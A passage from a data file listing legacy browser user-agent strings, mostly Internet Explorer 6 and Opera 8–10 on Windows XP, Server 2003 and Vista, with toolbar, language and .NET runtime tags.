5.1; YPC 3.0.3; SV1; .NET CLR 1.1.4322; yplus 4.1.00b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.1.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.1.0; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.1.0; SV1; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.0.3705; yplus 4.3.02b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.1.4322; yplus 4.1.00b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.02b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; SV1; (R1 1.5; yplus 4.1.00b); .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 2.8)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; yplus 5.3.02b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; SV1; .NET CLR 1.0.3705; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; SV1; .NET CLR 1.0.3705; yplus 5.1.03b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; SV1; yplus 4.1.00b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; SV1; yplus 5.3.02b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; SV1; yplus 5.3.03b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; yplus 4.1.00b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; yplus 5.1.02b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; yplus 5.3.01b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; yplus 5.3.04b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; chromeframe; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; da) Opera 8.54\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.0\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.01\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.02\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.50\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.51\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.52\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.54\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 9.00\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 9.01\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 9.02\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 9.20\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 9.50\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 9.64\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 10.00\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 7.60\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.0\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.00\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.01\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.02\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.50\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.52\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.53\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.00\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.01\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.10\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.20\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.21\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.24\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.26\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.51\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; es-ES) Opera 8.50\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; es-es)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; es-es) Opera 9.00\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; es-es) Opera 9.23\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; es-es) Opera 9.25\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; es-la) Opera 9.27\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; fi) Opera 9.10\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; fr) Opera 8.50\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; fr) Opera 8.51\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; fr) Opera 8.54\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; heritrix/1.3.0 http://www.cs.washington.edu/research/networking/websys/)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; hu) Opera 8.51\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; i-NavFourF)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; i-NavFourF; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; i-NavFourF; .NET CLR 1.0.3705; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; i-NavFourF; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; i-NavFourF; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; i-NavFourF; Hotbar 4.6.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; i-NavFourF; InfoPath.1; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; i-NavFourF; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iOpus-I-M)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iOpus-I-M; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iOpus-I-M; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iOpus-I-M; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iOpus-I-M; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iOpus-I-M; MyIE2; SV1; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iOpus-I-M; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iOpus-I-M; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iOpus-I-M; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iOpus-I-M; SV1; Hotbar 4.6.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iOpus-I-M; SV1; Maxthon; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iRider 2.21.1108)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iRider 2.21.1108; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iebar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iebar; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iebar; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iebar; SV1; (R1 1.5); .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iebar; SV1; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iebar; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iebar; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; image_azv; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; it) Opera 8.50\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; it) Opera 8.51\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ja) Opera 9.02\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; msn OptimizedIE8;ZHCN; SV1; QQDownload 661; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; nb)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; nb) Opera 8.50\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; pl)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; pl) Opera 8.50\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; pl) Opera 8.52\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; pl) Opera 8.54\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; pl) Opera 9.10\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; pt) Opera 9.10\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; pt-BR) Opera 8.50\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.0\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.01\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.51\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.53\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.54\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 9.10\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 9.25\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 9.52\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; stumbleupon.com 1.926)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; stumbleupon.com 1.926; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; stumbleupon.com 1.926; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; stumbleupon.com 1.926; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; stumbleupon.com 1.927; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; sv) Opera 8.50\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; sv) Opera 8.51\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; sv) Opera 8.53\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; tr)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; tr) Opera 8.50\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; tr) Opera 9.10\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; yplus 5.6.02b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; zh-cn) Opera 8.65\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; zh-cn) Opera 9.02\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.1399)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 1.0.3705; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50215)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Avant Browser; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Avant Browser; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; FunWebProducts; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; FunWebProducts; SV1; .NET CLR 1.1.4322; Alexa Toolbar; InfoPath.1; .NET CLR 2.0.50727; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; GTB6.6; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MathPlayer 2.0; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Maxthon; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Maxthon; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Maxthon; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.40607)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Maxthon; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Maxthon; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; (R1 1.3); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; InfoPath.1; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.40607; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; )\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; Girafabot [girafa.com])\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; Avalon 6.0.5070; WinFX RunTime 3.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; GTB6.6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; Maxthon; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; QQDownload 1.7; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; QQDownload 627; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; i-NavFourF; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; i-NavFourF; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; iCafeMedia; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Trident/4.0; Media Center PC 3.1; SV1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Trident/4.0; SV1; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; Maxthon)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; Maxthon; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; uZardWeb/1.0; Server_CN)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; uZardWeb/1.0; Server_EN)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; uZardWeb/1.0; Server_HK)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 8.50\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 9.01\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 9.10\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 9.21\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 9.27\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 9.50\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; ru) Opera 8.50\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; MS-RTC LM 8; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; MS-RTC LM 8; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; SV1; InfoPath.1; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; 